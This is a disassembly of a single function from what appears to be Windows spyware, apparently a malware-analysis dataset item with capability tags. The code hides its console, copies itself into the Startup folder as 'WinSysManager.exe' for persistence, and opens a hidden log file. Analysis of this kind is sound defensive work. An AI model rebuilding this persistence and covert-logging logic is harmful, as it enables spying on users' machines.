Function at 0x401927
Capabilities:
Copy file
Hide graphical window
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x720
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x570]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rcx, str.APPDATA
call sym.getenv
mov qword [rbp + 0x690], rax
mov rdx, qword [rbp + 0x690]
lea rax, [rbp + 0x460]
mov r8, rdx
lea rdx, str._sMicrosoftWindowsStart_MenuProgramsStartupWinSysManager.exe
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0x460]
lea rax, [rbp + 0x570]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
movabs rax, 0x676f6c7379733a44
mov qword [rbp + 0x70], rax
movabs rax, 0x7478742e73
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x80]
mov edx, 0x3d8
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x74736d6f646e6172
mov qword [rbp + 0x62], rax
mov dword [rbp + 0x6a], 0x676e6972
mov word [rbp + 0x6e], 0x31
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x688], rax
lea rax, [rbp + 0x10]
mov r8d, 0x50
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10], 0x50
lea rax, [sym.wp]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x62]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassExA]
call rax
test ax, ax
jne 0x401aa8
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov eax, 0
jmp 0x401c2c
lea rax, [rbp + 0x62]
mov qword [rsp + 0x58], 0
mov rdx, qword [rbp + 0x688]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExA]
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
jne 0x401b39
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov eax, 0
jmp 0x401c2c
lea rdx, [0x004050ab]
lea rcx, str.D:winlogs.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
jne 0x401b88
lea rdx, [0x004050ab]
lea rcx, str.D:winlogs.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
jne 0x401be1
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Can_not_create_log.txt_file.
call sym.fwrite
jmp 0x401be1
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x20]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jg 0x401bc1
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
je 0x401c27
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x720
pop rbp
ret